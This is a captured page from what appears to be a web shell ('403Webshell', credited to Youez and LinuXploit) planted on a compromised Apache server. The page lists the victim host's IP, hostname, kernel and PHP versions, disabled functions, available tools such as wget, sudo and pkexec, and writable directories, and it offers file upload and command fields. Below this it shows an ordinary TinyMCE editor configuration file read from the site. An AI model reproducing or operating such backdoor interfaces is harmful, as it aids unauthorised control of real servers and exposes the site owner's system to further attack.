403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/hkosl.com/dirsignage/html/webadmin/editor/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hkosl.com/dirsignage/html/webadmin/editor/tinymce_init.js
function tinymce_init(init_selector, init_width, init_height ){
    tinymce.init({

        language: "zh_TW",
        //remove p tag
        forced_root_block : false,
        force_p_newlines : false,
        remove_linebreaks : false,
        force_br_newlines : true,
        remove_trailing_nbsp : false,
        verify_html : false,
        //end

        selector: init_selector,
        width : init_width,
        height : init_height,
        theme: "modern",
        invalid_elements : "script",
        content_css: "../css/style.css",
        plugins: [
            "preview",
            "searchreplace wordcount visualblocks visualchars code fullscreen",
            "save contextmenu paste textcolor"
        ],
        toolbar: " forecolor backcolor  | bold italic | undo redo",

        /*style_formats: [
            {title: 'Bold text', inline: 'b'},
            {title: 'Red text', inline: 'span', styles: {color: '#ff0000'}},
            {title: 'Red header', block: 'h1', styles: {color: '#ff0000'}},
            {title: 'Example 1', inline: 'span', classes: 'example1'},
            {title: 'Example 2', inline: 'span', classes: 'example2'},
            {title: 'Table styles'},
            {title: 'Table row 1', selector: 'tr', classes: 'tablerow1'}
        ],*/
        file_browser_callback: function(field, url, type, win) {
            tinyMCE.activeEditor.windowManager.open({
                file: '../uploader/browse.php?opener=tinymce4&field=' + field + '&type=' + type,
                title: 'Upload Your Images',
                width: 700,
                height: 500,
                inline: true,
                close_previous: false
            }, {
                window: win,
                input: field
            });
            return false;
        }
    });

}

Youez - 2016 - github.com/yon3zu
LinuXploit